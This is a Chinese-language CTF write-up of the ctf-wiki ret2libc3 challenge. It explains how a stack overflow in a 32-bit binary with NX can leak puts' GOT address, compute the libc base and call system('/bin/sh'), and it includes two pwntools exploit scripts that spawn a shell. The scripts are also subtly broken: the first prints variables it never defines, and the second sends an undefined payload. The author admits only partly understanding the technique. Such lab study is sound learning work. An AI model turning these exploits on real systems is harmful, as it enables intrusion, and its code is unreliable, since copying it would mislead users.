T4 ret2libc3
2021-01-30WP
ctf-wiki ret2libc3
考点:栈溢出rop
0x01
这个是真的难…… 首先得透彻理解got和plt,其次还得对exp的写作要有一定的熟练度,而且还有各种各样古怪的写法…… 现在我还很多地方琢磨不清楚,只是依葫芦画瓢地复盘了一下,现在这篇题解只是写个大框架,具体细节后面慢慢补充了……
file checksec —— 32-bit 开NX
漏洞和内存分析和之前的系列题类似,不赘述了
0x02
IDA看源码,既没有system也没有binsh
由linux延迟绑定机制的知识(后面再写一篇总结吧)可知,我们如果要调用system函数,就要知道他的got表中的地址,但libc被加载到的内存的位置是随机的,我们无法得知
不过,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址(got表地址)
而现在我们有一个puts函数,libc中也有system和binsh
0x03
我们只需要通过栈溢出利用puts函数,打印puts函数的got表中的地址,然后获取偏移,得到system函数和/bin/sh字符串的地址,再将puts函数的返回地址覆盖为system函数的地址即可
我们可以先运行exp1(见0x04)拿到获取puts的真实地址,然后去libc- database -search的网站查询,可得到puts函数system函数和binsh字符串对应的偏移地址
(这里直接盗图了……)
知道了puts函数的真实地址和偏移之后,就可以将puts函数的真实地址减去偏移地址,得到libc的基址,将libc的基址分别与system,/bin/sh字符串的偏移相加,就可以得到对应的真实地址
然后写完整的exp
0x04
所以其实exp是分两部的,第一步是构造栈溢出利用puts函数打印出真实地址;第二步是溢出覆盖至system函数和/bin/sh的地址,拿到shell
#first exp
from pwn import *
elf=ELF('ret2libc3')
p=process('./ret2libc3')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr = elf.symbols['_start']
payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
p.sendlineafter("!?",payload1)
puts_addr=u32(p.recv(4))
print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
print("puts addr = ", hex(puts_addr))
p.interactive()
#second exp
from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']
puts_plt_addr = elf.plt['puts']
main_plt_addr = elf.symbols['_start']
print("puts_got_addr = ",hex(puts_got_addr))
print("puts_plt_addr = ",hex(puts_plt_addr))
print("main_plt_addr = ",hex(main_plt_addr))
p.recv()
p.sendline(payload)
puts_addr = u32(p.recv()[0:4])
print("puts_addr = ",hex(puts_addr))
sys_offset = 0x03cd10
puts_offset = 0x067360
sh_offset = 0x17b8cf
#根据公式 libc基地址 + 函数偏移量 = 函数真实地址 来计算
libc_base_addr = puts_addr - puts_offset #计算出libc基地址
sys_addr = libc_base_addr + sys_offset #计算出system的真实地址
sh_addr = libc_base_addr + sh_offset #计算出/bin/sh的真实地址
print("libc_base_addr = ",hex(libc_base_addr))
print("sys_addr = ",hex(sys_addr))
print("sh_addr = ",hex(sh_addr))
payload2 = flat([b'A'*112, p32(sys_addr), "AAAA", p32(sh_addr)])
p.sendline(payload2)
p.interactive()
0x05
还有其他几种方法目前没用搞懂
之后学会了(看懂了)再写过
问:
p.recv()[0:4]和p.recv(4)的区别??
网上没搜到
要在本地打通是不是要对libc做什么操作呀